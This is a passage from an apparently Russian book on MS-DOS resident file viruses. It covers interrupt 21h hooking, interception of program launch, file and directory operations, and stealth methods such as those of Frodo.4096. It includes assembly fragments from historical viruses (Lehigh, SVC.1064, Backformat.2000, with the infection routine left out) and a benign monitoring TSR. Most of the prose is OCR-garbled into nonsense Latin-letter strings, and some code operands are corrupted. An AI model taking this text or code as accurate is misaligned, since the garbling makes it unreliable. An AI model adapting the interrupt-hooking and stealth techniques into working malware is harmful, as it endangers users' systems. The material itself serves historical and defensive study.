cucreMoii MS-DOS u JI0BOJBHO PEAKO MCIIOTB3YeTCS MPUKJIAAHBIMU
nporpamMmamu. Eciii Koz BUpyca Masl M MOKET HOJTHOCTBIO YMECTUTHCST
B aToM (pparmenTe O3Y, TO BUPYC IPOCTO KOTUPYET Tyia CBOI KOJI, yCTa-
HaBJIMBaeT HeoOX0oAUMble 00pabOTYMKHU IIPEPhIBAHMIT U HA 9TOM CUMTAET
3a7[avy MO YCTAHOBKE B MAMSITH BBITIOJTHEHHOA.

AJITOPUTMBI, PeaTU3yIOIINe Ty UAEI0, IPEAETHHO TIPOCTHI, TaKe IPU-
MUTHUBHBIL. Takue BUPYChl KOHEUHO JKe He BU/IHBI B IIEMIOYKe OJIOKOB MaMsi-
tu. Ho cauimkom yix «HeHaaesKHOe» 9TO MECTO JIJIsI BUPYCOB U «TECHOEe» !
IToaTomy 00J1acTh BEKTOPOB MPEPHIBAHUI OU€HD PEIKO UCTIOIB3YETCST 115t
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pasMelleHns «Cepbe3HbIX» BUPYCOB. Kak MpaBmiio, TaM «KUBYT» JIHIIb
MHOTOUYHMCJIEHHbIE Pe3n/IeHTHBIe BUPYychl ceMelicTB Mini, Micro u Tiny,
[peiHa3HAYEHHbBIE He JIJIST «/[0JITON ¥ CYACTIIMBOM JKU3HU», HO JIJIsST TOOU-
TUS PEKOPIOB B COPEBHOBAHUSX BUPYyCONHMCcATeNeld Ha cCaMbIil KOPOTKUH
BUPYC.

Crioco6 5. Kak 9T0 HM CTpaHHO, HO CYIIECTBYIOT BUPYChI, IPUHAJIEKA-
1I1€e «IIePY» PA3JIUYHBIX ABTOPOB, KOTOPbIE UCIIOIb3YIOT UEI0 TIPOCTOTO
KOIUPOBAHUS BUPYCHOTO KOZIA B CTapIline afpeca OllepaTUuBHO aMsITH,
6e3 MaJIefiIeil MOMBITKY KaKUM-I100 06pa3oM 00eCIIeunTh 3aIluTy 9TOI
006JIACTH OT TOCSITATEIHCTB CO CTOPOHBI OMEPAIIUOHHON CHCTEMBI U MIPU-
KJIQJIHBIX TIporpamMM. Takue BUPYCHI lake UHOT/A YCIIEBAIOT IIPOCYIIECT-
BOBAaTbh B MAMSTU HECKOJBKO MUHYT U 3aPa3UTh HECKOJBKO <«KepPTB»,
[PEsK/Ie YeM aTH ajipeca OyIyT UCTIOIb30BAHBI O] CTEK MJIM <Kydy» Ka-
KOH-HUOY/Ib BHOBb 3aIlyLIEHHON IIPOrPaMMBbl, a TO ¥ IO HYsKIbl CaMoii
MS-DOS. Pesyibrar kakablii pa3 ObIBaeT OJUH U TOT Ke — KOJ BHpyCa
BMecTe ¢ 06paboOTUNKAMU TIPEPHIBAHUN HEMUHYEMO «3aTHPAETCSA», U CH-
creMa «ruGHeT».

JleBuzom aBTOpoB aTuX BUpycos (Hanpumep, PcFly.763 niu Feist.670)
MOTJIH ObI CJIYKUTh HCKOHHO PYCCKUE MOHSITHUS «aBOCh» 1 <ITO(DUT>.

3.6.3. O6paboTka npepbiBaHMIA

Pe3uIeHTHOMY BUPYCY HEJOCTATOYHO TIPOCTO OCTABATHCS B KAKOM-JTHO0
YYACTKe OMEePATUBHON ITaMSITU, OH JOJIKEH JIJIST CBOETO PA3MHOKEHIST aK-
THBHO PearupoBaTh Ha PA3INUHbIE COOBITHUS, TIPOUCXO/SIINE B CUCTEME:
Ha 3aMyCK U 3aBepIleHre MporpaMm, Ha orepanuu ¢ dhaijaMu U Katajio-
raMy U T. T. DTy 33j1ady pe3ujiecHTHbIe (halijioBble BUPYCHI BBITIOJIHSIOT,
[IePexBaThIBast IIPOrPAMMHBIE TPEPBIBAHIS, YePe3 KOTOPbIE MTPUKIIA/HbIE
[IPOTPAMMBI U OTIE€PAIIMOHHAS CHCTEMa OOPAIIAIOTCS K CIIEIIUAIU3MPOBAH-
HbIM CHUCTEMHBIM CEPBHCAM. HO[[aBJIHIOHIee 6OJHJH_II/IHCTBO PESNAEHTHDBIX
BUPYCOB TIepexBaThIBAIOT pepbiBanue 21h, uepes Koropoe ocyiecTBis-
eTCcs1 IOCTYI K cucteMubim cepBucam MS-DOS. Bot nipumep kojia repBo-
ro B ucropuu pesugentHoro supyca (Lehigh), Heckoibko HauBHO U He-
YKJTIOK€ BBIMOJHSIONIETO TlepexBaT mpepbiBanust 21h:

mov ax, 3521h . Tlony4uTb Tekylee 3HayeHne BekTopa

int 21h ;. npepbiBaHns 21h M CoxpaHnTb:

mov [si-4], bx © 1) BX - ero cmeueHue

mov [si-2],es . 2) ES - ero cermeHT rge-Tto B 006/71acTM [aHHbX BUpyCa
mov dx, [si-4]

mov ax, [si-2]

mov ds, ax
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mov ax, 2544h YCTaHOBUTbL 3TO 3HAYeHWe BEKTOpa AnS npepbsaHus 44h

int 21h ; Tenepb K cepsucy MS-DOS MoxHO 06pawaTbCs 4epes Hero
push es

pop ds

xor dx, dx ; DX 1= 0.

mov ax, 2521h ; YCTaHOBWTb HOBOE 3HadveHune ang BekTtopa 21h, oHO

int 44h ; 6yneT pasHo ES:0 (Tam “xmBeT" BMPYCHbIK 06paboTymK)

[To cyTu, omepartust mepexBarta npepbIBaHUS CBOANUTCS K 3aMeHe 3Haue-
HUSI aJIpeca, PaciiooKEeHHOTO B COOTBETCTBYIOIIEM MeCTe TaOIUIIbl BEK-
TOpOB TpepbiBaHmil. [loaTOMY CyIIECTBYIOT BUPYCHI, KOTOpPBIE HE MOJIb-
sytorca dyukuusmu 25h/35h, HO HAPSAMYIO BHOCSAT CBOU MCIIPABJIEHUS
B COJIEPKIIMOE TIEPBOTO KUI0OaiiTa OrepaTUBHON aMsaTh (Hampumep, Bee
ToT ke SVC.1064):

Xor ax, ax
mov ds, ax ; DS:=0

lds ax, [00084] . 84h = 21h*4 - noauums BekTopa npepbiBaHus 21h
mov cs:0FS21[si], ax . CoxpaHuWTb: 1) ax - cwmeueHue

mov cs:SEG21[si], ds ; 2) ds - CermMeHT CTaporo 3HayeHus BeKTOpa

cli

mov [000847,0f fset INT21 ;. NomecTuTb B Tabnuiuy BeKTOPOB: 1) CMeleHue;
mov [0008617, es . 2) cerMeHT cBoero obpaboTunka

sti

PasymeeTtcst, BUpYyC He MOKET TIOJHOCTHIO TIOJIMEHUTH CHCTEMHBIN 06-
paboTYNK TPEPLIBAHUS, Belb Ha 3TOT 0OPabOTINK BO3IOKEHBI COTHU U
TBICAYU KU3HEHHO BaXKHbBIX /7151 cucTeMbl hynkuuii. [fosromy Bupyc pano
WU TIO3/THO, HO 0013aTeTbHO TIepelaeT YIpaBJaeHne CTaniapTHoMy o6pa-
GoTunKy. PaccMOTPUM TUTIMYHBIE ST PE3UIEHTHBIX (DAfIOBBIX BUPYCOB
CJIyYau.

3.6.3.1. Ilepexeam 3anycka npozpammol

I10 HauboJiee YACTO UCTIOJIBb3YEMbIil B BUpycax caydait. [[eno B ToM,
uTo 1pu BhizoBe GyHKIuU 4Bh (a mMeHHO ee UCIIOAB3YIOT AJIA 3amycKa
APYTUX TPOTPAMM OTIEPAIMOHHASA CUCTEMA W CEPBUCHBIE OOOJIOUKH THIIA
Norton Commander) B perucrposyio napy DS:DX momemaercs amgpec
MOJIHOTO UMeHH (hailiia 3amyckaeMoil mporpaMMbl. IToro GoJsiee yeM J10-
CTaTOYHO, YTOOBI OTKPHITH YKA3aHHbBII (hailsr, MHGUIUPOBATH €10, a TIOTOM
nepenaTh yIpaBJieHue CTAHAAPTHOI IPOIeype — IyCTh OHA Teeps Jesa-
€T, YTO U [0JIOKEHO, TO eCTh 3aIyCKAeT YKa3aHHYIO IIporpamMmy. Bripouem,
HepeloK U MHOI OPSIZIOK eiiCTBUIT — CHAYasIa BhI3bIBAETCST CTAH[APTHAS
IPOIIeypa 3aIyCKa, a MOCJIe ee 3aBePIeHMs BIIIOJHSIETCS TTOTIBITKA WH-
punuposanus.
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[Morenmuanbuo Takoii BUpyc 3apa3ut (UJH, 0 KpaliHeil Mepe, MOIbI-
TaeTCs 3apas3uTh) BCE 3allyCKaeMble IPOrpaMMbl. J{yig THTUYHON KOHbU-
rypaiuu cepepunbl 1990-x To10B 110/1 TIPUTIEST BUPYCA B [IEPBYIO OYEPE/Ib
nonazian koMmauubiil mpoieccop «COMMAND.COM», KOMIIOHEHTbI
«Norton Commanders (aanpumep, siipo nakera «<NCMAIN.EXE» wu
«BbioBep» «<NCVIEW.EXE»), Hy 1, KOHEUHO, TIPUKJIQJIHBIE TTPOTPAMMBI,
€ KOTOPBIMH PabOTaJ [0JIB30BATEb.

[IponemoHcTpupyeM repexsBaT 3aIycka IporpaMmbl Ha IIpPUMepe pe3u-
JEHTHOH YTUJIUTBI, KOTOPas BMECTO MH(MUIIMPOBAHMS 3aITyCKaeMOIi 11Po-
rpaMMbl TTPOCTO BBIBOJMT Ha 9KpaH uMs (aiiia, u3 KOTOPOro oHa crap-
toBasia. Takast yTUiuTa MOKET ObITh MOJE3HOU IJIsl «<MOHUTOPUHTA», TO
eCTh CJIKEHUS 32 3aITyCKaeMbIMU ITporpamMamu. Muoraa Habsoenme 3a
pesyJisTaTamMut ee paboThl MOKET OTKPBITh MHOTO MaJIOU3BECTHBIX 0COOEH-
HocTtell (hyHKIIMOHUPOBAHUS OIEPAIIMOHHON CUCTEMBI.

CSEG segment
assume ¢s:CSEG, ds: CSEG, ss: CSEG
org 100h
START:
Jmp INSTALL
; 910 npoueaypa 06paboTkM npepbiBaHus 21h
INT21:
Cmp ah, 4Bh ; 3anyck ?
Je PRINT ; [la - Ha neyaTb uMeHu daitna nporpammbl
cmp ax, OABCDh ; Naponb?
Jnz ORIGIN
mov ax, ODCBAh . 0T3nis!
ORIGIN:
db 0EAh . 9TO KomaHaa Buaa JMP XXXX: XXXX
0FS21 dw ? ; OHa nepepacT ynpasfieHne CTaHOapTHOMY
SEG21 dw ? ;. 0bpaboTunky
; 34echb Mb nedaTaeMm WMs 3anyckaemoil nporpamMbl
PRINT:
; CoxpaHsieM B CTeKke BCE PerucTpbl, KOTOPbHE BPEMEHHO WCMONb3YEM
push ax
push dx
push si
; Napa DS:DX yka3sbiBaeT Ha uMs Qaitna nporpamubl
mov si, dx
; 9TO UMKN meyaTu CUMMBONOB, MoKa He BCTpeTuTca 0 — KOHEL CTpoKK
LOOPC:
lodsb
cmp al, 0
jz Next
int 29h ; NevaTb cumBona w3 peructpa AL
jmp LOOPC
NEXT:

. BoccTaHoBMM BCe pEerucTpsl
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pop si
pop dx
pop ax
; VI BepHeMm ynpasneHue opuruHanbHomy 06paboTuuky npepsiBarus 210
jmp ORIGIN
; 9TO TpaH3ueHTHas 4acTb NPOrpamMmbl.
INSTALL
) HDOBGDV\M, YCTaHOB/IEHA NN yXe yTunnta B namaTn?
mov ax, O0ABCDh ; Maponb
int 21h
cmp ax, 0DCBAh ; 0T3biB?
jz Finish ; YXe ycTaHoBNeHa - BbIXO[
; Y3Haem azjpec opuruHansHoro obpaboTdnka npepsiBaris 210
mov ah, 35h
mov AL, 21h
int 21h
; 3anonHsemM KOHKpeTHble nonsg B komaHae JMP
mov 0FS21, bx
mov SEG21, es
; Hasnauaem cobcTBeHHbIM 00paboTyMK Ans npepbiBaHus 21h
mov ah, 25h
mov al,21h
mov dx,offset INT21
int 21h
; YkasbiBaeMm pa3mep 0CTaBAgeMoro B namiTu QparMeHTa.
mov dx, offset INSTALL
; PeanpeHTHoe 3aBepuweHre nporpammsl
int 27h
; 06bl4HOE 3aBepuweHue nporpamMsl
Finish:
int 20h
CSEG Ends
end START

Cremyer nmeTh B BUY, 4yTo kKoMaH/a «] MP XXXX:XXXX» nepemaer
yIpaBJIeHne B CTAHAAPTHBIN 06pabOTUNK MPEPHIBAHUST «HACOBCEM>. Bos-
BpPAT JKe B TOUKY BbI30Ba OyeT BbIoiHeH KoMatnoii «[RET», pasmernten-
HOIT T/Ie-TO B He/IpaX sIpa OmepannoHHoN cructeMbl. YTo6bl 9T0T0 136e-
JKaTh, HEOOXOANMO 00PAIIATHCS K CTAHAAPTHOMY 06pabOTUNKY TPUMEPHO
BOT B TAKOM CTHJIE:

pushf
call dword ptr cs: OFS21

iret
Takas nocsaeoBatesbHOCTS UMUTHPYET KoMaHAY «INT» u momeniaer B

CTEK TPH CJI0BA: 3HAUEHUE perucTpa GJaros, CECTMEHT U CMEIIEHUE aipeca
BosBpara. CraHzapTHbINH 06paboTYNK, 3aKOHUUB CBOIO paboTy, IO KOMaH-
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ne «<IRET» n3Biieder 2T1 3HaUeHNS U3 CTEKa U OKAXKETCs B TOUKE BbI30Ba,
TO ecTb cpasy nocae Komauabl « CALL». Terepb MOKHO BBIIIOJTHUTD HEOO-
XOJIUMBbIE JIeHcTBIS (HapuMep, 0ToOPa3UTh Ha IKPaHe UM 3aITyCKaeMOi
[POTPAMMBI, €CJIM CTAHAPTHBIH 06pabOTYMK He M3MEHWJ 3HAUEHUs pe-
ructpoB DS u DX) u Teneps yske OKOHYATETTHHO BEPHYTHCS B TIPUKJIA/L-
HYIO [IPOrpaMMy IIPU TOMOIIU coOCcTBeHHON koMaH bl «[IRET».

Taxske ciemyer o6paTuTh BHUMAHUE HA CIIOCOD, KOTOPBIM MPOrpaMMa
MIPOBEPSIET, HEe HAXOMUTCS JIM B MIAMATH Y3Ke ee JIpyras pe3u/iecHTHasd KO-
nusi, ycTaHoBjeHHas paHee. B oOpaborunke npepbiBanus 21h nmeercs
«BETOUYKA», KOTOpasi 00pabarhiBaeT HECTAHAAPTHYIO (DYHKIIUIO C KOIOM
0ABCDh, — ato cBoeoGpasublii «11apoib». Eciu Ham 06paboTduk B 11a-
MATH YK€ TPUCYTCTBYET, TO OH OTKJIMKHETCS MTPABUJIbHBIM <OT3BIBOM»>
(nomectur B peructp AX uncio 0DCBAD), u a0 6yzeT 3HaKOM TOTO, 4TO
HAJ/IO «TUXO U MUPHO» 3aBEPIITUTHCS.

[Momo6HbBII TpUeM XapakTepeH TPaKTUUECKU s BCEX PE3UICHTHBIX
BUPYCOB. Pagymeercs:, ecTb criocod «0OMaHyTh» BUPYC, «BHYIIUB» €MY,
YTO ero KOIMs ysKe CyIIeCTBYeT B MaMaTH. JocTarouHo HanmucaTh U 3a-
nyctuTh (Kak MoxHo panbliie, Haripumep B «AUTOEXEC.BAT» wm
«CONFIG.SYS») KpoxXoTHYIO pe3UIEHTHYIO TPOTPAMMKY, KOTOpas Tpa-
BUJIBHO OTKJIMKAETCS HA <IaPOJIby, UMUTUPYS BUPYC. DTOT IIPUEM HA3bI-
BAETCSI «BAKUUHALUEL] NAMSMU», OH TIO3BOJISIET HAJIEKHO 3a0JI0KUPOBATH
0 KpaiiHell Mepe pa3MHOKeHUe BUpyca Ha KOMIIbIOTepe.

3.6.3.2. Ilepexsam ¢paiinosvix onepavuii

Boisee «11poiBUHYTBIE» BUPYCHI TEPEXBATHIBAIOT HE 3aITYCK TTPOTPAMM,
HO pasjinuHble onepanuu ¢ daittamu — cosnanue (pyukiun 3Ch wmm
5Bh), otkperrue (dyurmnus 3Dh), 3akperrue (dyarnust 3Eh) u . 1. Econ
MOIU(DUITMPOBATD TPUBENEHHYIO B MPE/BIYIIEM pasjiesie YTUJIUTY Tak,
4TOOBI OHA OTOOpaKaia UMeHa BeeX (hailyioB, ¢ KOTOPBIMU BBITTOJIHSIOTCS
Kakue-1ub0 Oneparyu, To MOJydeHHas TIPU €€ TIOMOIIH Tpacca COOBITHI
OyleT MOUCTUHE OTPOMHOIL. J[efiCTBUTENBHO, TEPEXBATHIBAIOIINI (hailio-
BbI€ OIEPAI[M BUPYC TIOJIyYAeT B CBOE PACIIOPSTKEHHE Topasno GoJiblie
MOTEHI[UAJBHBIX «KePTB». HO B 9TOM cilydae OT Hero TpeGyeTcst yMeHue
pactio3HaBartb BUJL (haiisia 1Mo ero BHyTPeHHeH CTPYKTYPe, Be/ib TPOIII TleHa
TaKON CaMOPa3MHOKAIOIIEN S TIPOTPaMMe, KOTOpast «KUIAeTCs», HAIPU-
Mep, Ha (aiisbl 6a3 qanHbiX (paciinperne «. DBF»), rekcrst (paciinpeHie
«.TXT») u poune abCONOTHO «HECHEOOHDBIE» OOBEKTHI!

3aro 1paBuIbHOE IPUMEHEeHKEe TeXHUKN 00paboTKu (hailIoBbIX olepa-
Ui TTO3BOJISAJIO BUPYCOTMCATENSIM OPraHU30BbIBATD OYEHb MHTEPECHBIE
ajropuT™bl 3apaskenus. Hanpumep, supyc Backformat.2000 sapaskan He
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BCe TIPOTPAMMBI TTOJIPSJI, HO TOJILKO co3/laBaeMble Ha JuckeTax. [Tockosib-
Ky Jaiiie Bcero (ailyibl CO3AI0TCs Ha UCKETAX IIPU KOTIMPOBAHUU UX TyIa
C BUHYECTePa, TO 3TO — ONTUMAIbHAST CTPATErHsI 3apakeHusl, HAIIPABJIEH-
Hast Ha PacIpOCTPaHeHre BUPYCa IIyTeM IIePeH0Cca ¢ MAINHBI HA MAIIUHY.
He my:xHO [1eCcATKOB U COTEH 3apakeHHBIX IIPOTPAMM HA BUHUYECTEPE, J10-
CTaTOYHO PUIEIUISTHCS TOJIBKO K TeM U3 HUX, KOTOPbIE 3aBEJIOMO TOTO-
BSATCS K Iy TEIIEeCTBUIO!

; Bupyc Backformat.2000. ®parmeHT o6paboTymka npepsisaHns 21h

Int21:
Cmp ah, 5B ; CospaHve daina?
Je Create ; lla - Ha 06paboTky co3paHus
Cmp ah, 3E ;. 3akpeiTue dainna?
Jne Skip ; Ha cTaHpapTHbIn 06paboTymk
Jmp Close ; [la — Ha 00paboTKy 3akpbiTus
. ObpaboTka cospaHua dainna
Create:
push ax
push bx
push si
mov bx, dx ;B DS:DX - uma Bupa X: \XXXXXXX. XXX
cmp [bx+1], " . BTOpoi cumBon - nBoeTo4Me?
Jne Skip ; HeT - Ha cTaHaapTHbI 06paboTynk
Mov al, [bx]
And al, 0DFh ; [lepeBecTn CUMBON B BEPXHWIA PETUCTP
Cmp al, A’ ; MepBsbii cumBon — 910 "A"?
Je OnFlag ; Ha ycTaHoBky dnara roTtosHOCTH
Cmp al, 'B’ ; Nepsoii cumBon - 910 "B'?
Je OnFlag ; Ha ycTanoBky ¢nara roToBHOCTM
Jmp NoDiskAB
OnFlag:
pop si
pop bx
pop ax
pushf ; CospaTb Gann
call cs:dword ptr Int21
mov cs:Flag, AX ; YcTaHoBUTbL ¢nar “¢ann cospaH”
iret
; 06paboTka 3akpuTus daina
Close:

cmp Flag, 0 CospaHHbIX ¢ainnos HeT?
jne Infect ; EcTb - npoponxuTb
jmp Skip . HeT - Ha cTaHaapTHbI 0bpaboTunk
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Infect:

; I1'l 3peck BbIBOB Mpoueayps MHOMUMPOBaHMA (OH nponyueH) !!

mov cs:Flag, 0 . COpocutb onar “"¢dann cosgaH”
pushf ;. 3akpuTh Gain
call cs:dword ptr Int21

AnajiornynbiM o6pa3oM JeiictBoBas u 3HamennToiii Onehalf.3445, ko-
Topbiil B 1994—1995 rogax BbizBajl OOIIMPHENIIYIO HAHAEMUIO BO BCEM
MUpe.

Bupycosiory nznes mepexBaTta ¢ailIoBbIX oOTepalnuii MMOJICKa3bIBaeT
CIOCO6 «IIOUMKH C MOJUYHBIM> HEPE3UECHTHBIX BUPYCOB MPU TIOMOIIH
MMOCTOSTHHO HAXOJSANIENCS B MAMATH YTUIUTHI, OTCACKUBAIONIEH <010~
3pUTETbHBbIE» IeNCTBUS (TIPEsK/ie BCETO 3aMCh B TIPOrPaMMHBIE (DAl ).
HyskHo TOIBKO IOCTAapaThcs aKTUBUPOBATH YTUJIUTY paHbllle BUPYyca, Ha-
rnpumep pazmectuB komany ee 3anycka B < AUTOEXEC.BAT» unu naxe
B «CONFIG.SYS». Hanucatb Takyio yTUJIUTY MOKHO CAMOCTOSITEJBHO,
a MOYKHO U BOCTIOJIb30BAThCSI TOTOBOI. Hampumep, B cocTaB nmakera «/{ok-
top Kacnepckuiiy, pacnpocrpansisiierocs dupmoii KAMUW B nauase
1990-x romoB XX Beka, Bxojua majenbkas mporpammka «-D.COM»,
KOTOpas MO3BOJISAIA HE TOJBKO PearnpoBaTh HA «IT003PUTEIbHbBIEY (haii-
JIOBBIE OTIEPAIlNN, HO U TPOCMATPUBATh 3HAYEHUST PETHCTPOB MPOIleccopa
B MOMEHT BBI30Ba, COJIEPKUMOE YUaCTKOB OIIePATUBHOM MaMsATH, U3 KOTO-
PBIX 9Ta oreparust 6bl1a BbI3BAHA, U T. 1.

3.6.3.3. Ilepexsam onepauuii ¢ kamaniozamu

[Touck daitnos B kKaTajorax — MaccoBas oriepaiius. Kaskabiit pas, nepe-
Metasich mo csoemy jancky B Norton Commander’e, mosmb3oBatesb mory-
JaeT B «TOJyOBIX OKOIIIKaX» BCE HOBbIE M HOBBIE criucKu (aiiios. U He
3agymbiBaetTcst o oM, uto Norton Commander iJist 9TOTO TECSTKU U COT-
HU pas obpartaercs Kk pyukiusm 4Eh /4Fh. JlocraTtouHo Bupycy nepexsa-
TUTB 9TH (GYHKIMU B CBOEM Pe3UIEHTHOM 06paboTunke mpepbiBanust 21h,
1 OH TIOJIYYUT BO3MOKHOCTH TAKOTO K€ MACCOBOTO 3apaskeHns Iporpamm!
JIpyroii BapuaHT: BUPYCOM MepexBaTbiBaeTcst TOMbKO pyHkimst 3Bh cme-
HBI Tekymiero karajgora (B DS:DX TpaguninoHHO TiepesaeTcst ero ums),
a cepsuchl 4Eh/4Fh oH BBI3BIBAaET B LIMKJIE YiKe 110 COOCTBEHHON MHUIIM-
atuse. [Toayuaercs cBoero pozia rubpu pesugentHoro u Search-supyca,
pUvIeM HeOOBIYANHO «ITPOKOPJIUBBII» |

Bupycsr Takoro poja ObLn <oty istpHbl» B Hauase 90-x rogos XX Be-
ka (cemeiictBa Astra, MG, XPEH u 1p.), HO ITOTOM <«BBIIILJTU U3 MOJIBI».
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Bunumo, aTo cBA3aHO € Te€M, UTO «IIPOKOPJIUBOCTD» TlepecTaa CUUTaTh-
csl cpenn BUpycoluicareseil TakKUM YK IPUBJIEKaTeJIbHbIM CBOHCTBOM
KOMITBIOTEPHOTO BUpyca. JleficTBUTENIbHO, B YCIOBUsIX O0Jiee U MEHee
Pa3BUTON aHTUBUPYCHOM MHAYCTPUN chopMUPOBATIACH CUTYyAIIHS, KOT/IA
4eM GOJIbIIE TIPOTPAMM Ha MalllMHE 3aPasKeHO BUPYCOM, TEM JieTue «ITyTa-
HOMY» I10JIb30BaTeJI0 3aMEeTUTb €r0 U IPUHATH COOTBETCTBYIONME MephI.

3.7. Bupycbl-«HEBUANMKN»

A ne ob6opomenn. Y menst cneuuanvias 00excod.
Ona mosxcem denamo mens HeGUOUMBIM, MOJIBKO
naoxo pabomaenm.

A.n B. Crpyraikue. «’Kyk B MypaBeitHIKe>

ITpumenenne Stealth-rexHomorny pacmpocTpaHeHo He TOJBKO B 3arpy-
30YHBIX BUPYCaX, HO U B UX (haiiyioBoii pagzHoBUAHOCTU. [[oCKOIBKY «Op-
raHaMU YyBCTB» W «d(hdekTopamuy 71t TPUKITAIHBIX TPOTPAMM U CaMOT
OTIEPAITMOHHOM CHCTEMBI SBJSIOTCS B OCHOBHOM CEPBUCHBIC TIPOTIE/YPHI,
nocTyiHble yepes3 mpepbiBanue 21h, To cyiiecTByeT TeopeTnuecKast Bo3-
MOKHOCTD aKKyPaTHO «ITOMEHUTH» HEKOTOPOE KOJTUIECTBO HTUX TIPOTIE-
nyp (BIIpoueM, Kak u JIEOOBIX APYTUX) U 3aCTABUTH UX PaOOTATH 110 BBITOI-
HOMY [IJIS PE3UIEHTHOTO BUpYyca ajropuTtmy. lIpeskie Bcero aTa BbITO/A
3aKJIIOYAETCS B TOM, UTOOBI CKPBITH (DaKT IIPUCYTCTBUSI BUPYCaA B CHCTEME.,

CaMbIM  pacpOCTPAHEHHBIM SIBJISIETCST  CITOCOO  «KOPPEKTHPOBKU»
JUTMHBI 3apaKeHHON MTPOrPaMMBbl, KOT/Ia BUPYC TIepeXBaThiBaeT (DYHKITUN
4Eh/4Fh (wnum 11h/12h), mpu momMotu KOTOPBIX TIPOTPAMMBI «CMOTPSITS
Ha KaTaJOTH, W BBIYUTAET W3 BO3BPAIIAEMOU JIJIMHBI 3aPasKeHHBIX MPO-
rpaMM pa3Mep UX BUPYCHOI yacTu. JlemeBo u cepauTo.

[IpyToil OTHOCUTEIHHO ITPOCTON 1 YaCTO UCTIOIH3YEMbII METOJT «OCJIeTI-
JIEHUST TPOTUBHUKA» 3aKJIIOYAETCS B TOM, YTOOBI TIEPEXBATUTE (DYHKITUU
3Dh (orkpsitiie (aiina) u 3Eh (3akpbiTre (aiina) u BCIKUil pas mpose-
PSTH, OTKPBIBAETCS JIN TIPOTPAMMHBIH (haisl y:ke 3apakeHHON IIPOTPAMMBI.
Eciv mpoucxosutT UMEHHO 9TO, TO BUPYCY JIOCTATOYHO «BBIIEYUTH> MPO-
rpaMMy (TO €CTb YZAJTUTh U3 Hee BUPYCHBIN KOJT), @ B MOMEHT 3aKPbITUST —
3apa3uTh cHOBAa. OTKPBIBasi 3apa’keHHBIH (hailr IpW MOMOIIK CTaHIAPT-
HBIX cpesicTB (Harmpumep, 17ist ipocmotpa 1o F3 8 Norton Commander’e),
BUPYC BHYTPU HETO YBUETh HEBO3MOKHO, €O TaM B 9TO BPEMsI TIPOCTO
¢usuyecku ner!

Kcratu, orcioma ciefyer mpoOCTON Cmocob «JedeHrs» 3apaskeHHOi
POrpaMMBI: OTKPBITH ee B 06oJiouke Norton Commander o F3 u cpa-
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3y JKe Tepe3arpy3uThCs, HAKaB Ui Hajeknoctu kuonky Reset!. ITocie
repe3arpys3Ku IporpaMMa OKakeTcs «3/I0POBOii» !

Eie opina Bapuaiiyst 9Toro MeTo/[a JiedeHust «FOJIbIMU PYKaMU» 3aKJII0-
YaeTcs B TOM, YTOOBI 3aaPXMBUPOBATH 3apaskeHHbIe (hailibl KAKMM-HUOYIb
ynakopiukom (tumna ZIP, ARJ, RAR u T. 11.), TOrza BHyTpu apxuBa oKa-
JKYTCSI IPOTPAMMOBI, HE SIBJISTIONMECS] «BUPYCOHOCUTEISIMIT . JII0GOTBITHO,
410 3TOT (haKT MOOYKIaeT HanboJiee «yIepThiX> BUPYCOTUCcATENEH 3aH1-
Mmartbest epexsatoM (dyukiun 4Bh, oTciexuBaHeM MOMeHTa 3aIlycKa
[IPOTPAMMBI-YIIAKOBINUKA U OTKI0YeHreM Stealth-mexanusma Ha Bpemst
ero paboThL.

Eme Oosiee cioxnbie BapuaHThl peanusannu  Stealth-rexnosoruu
MPeJlyCMaTPUBAIOT [epexBaT M JPyTux cepBUcHbIX dynkiuiit MS-DOS.
Bor, nanpumep, ¢parment omucanusi (or E. Kacniepckoro) mist onmo-
IO U3 CAMBIX CJIOKHBIX U <IIPOJIBUHYTBIX» B 9TOM OTHOIIEHUH BUPYCA
Frodo.4096, B csoe Bpems (B 1990 romy) mopasuBuiero BooOpakeHue
11poeccOHANbHBIX BUPYCOJIOTOB:

lMonHoueHHbIN «cTenc»-Bupyc: obpabatsiBaeT 20 ¢yHkumii INT 21h
(FindFirst, FindNext, Read, Write, Lseek, Open, Create, Close, Exec n
T. 4.) v xopoLuo mackupyertcs. [pu obpaiyeHmnn DOS k 3apaxeHHOMY
Qariny Bupyc rnoacTas/sieT ero rnepBoHa4YasibHy 4JIMHY U BPEMS MO-
angukaumn. lNpu 4TeHun pavinia nam 3arpy3ke ero B naMsite Moangu-
UMPYEeT CYUTaHHYIO C AnCcKa MHGOPMaLMIO TakuM 06pa3oM, 4To garis
npeactaeT B He3apaxeHHoM Buae. [1py oTKpbITun ¢arina as1s 3anicu
BUPYC NIe4YUT ero (Tak Kak 3arnvckb B ¢parisi MOXET YHUYTOXUTb 4acTb
Bupyca) v CHOBa 3apaxaer rpu 3aKpbITUM.

[TpumMedaTesbHO, UYTO BUPYC TIEPEXBATHIBAJ He TOJBKO (DaiiioBbIe orle-
paiuu, Ho U onepauuu ¢ namarbio (48h — cospare 6a0k, 49h — yHuuTO-
SKUTh 610K, 4Ah — usmMenuTh pasmep 6s0ka). OcTaBIINCh IEPBOHAYATIBHO
B O3Y oIHUM U3 TPAAUIINOHHBIX JIJIsI PE3UIEHTHBIX BUPYCOB METOIOM,
Frodo.4096 B nanbHeliieM BHUMATEIBHO CJEINI 32 IelIOYKaMi OJIOKOB
naMatu. Ecm kKakoi-To KpyIHbI GJI0K maMaTH BhICBOGOMXKAanCA (Ha-
PUMeD, 110 TIPUUYUHE 3aBepIieHust pA0OThI 3aHIMABIIIEl €r0 TPOTPAMMBI),
TO BUPYC BMECTO BBICBOOOJKIEHUS TIPOCTO CUIIBHO YMEHBINA €ro pasMe-
pol, sanucbiBa B MCB kon 8 u «uepecensiics» B ator 60k, Ecim ke
KaKas-TO MporpaMMa BbICBOOOK/IaMa CBON (hparMeHT MaMsTH He MOJTHO-

! Vmeercst B BUIY, 4TO BUPYC TEOPETHUYECKU MOXKET MEPEXBATUTD «KJIABUATYP-
Hoe» npepbiBanue HoMep 9 u o Haxkatuu «Ctrl+Alt+Del» ycuers 3apasurhb
<KEPTBY>».
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cTbio, ocraiisis B O3Y HeGouibIoil 610K 1 3aBepliasiCh Pe3uieHTHO, TO
Frodo.4096 rocTymaj npoTUBOIOJI0KHBIM 00Pa30M — PacIIMPsLI 9TOT pe-
3UJIEHTHBII OJIOK U TIePEMEIIAJICSI B €70 KOHEII, BBICTYTIAS JIJIST PE3U/IEHT-
HOI TIPOrPaMMBbI B POJI «HE3BAHOTO coceliay. Takum 00pa3oM, BUPYC He
MMeEJI TIOCTOSTHHOTO MECTOTIOJIOKEHUST B TaMsITH !

Bor uro mnmcan no mosomy oOHapyskeHusi u Jedenusi Frodo.4096
J. H. Jlosunckwmii:

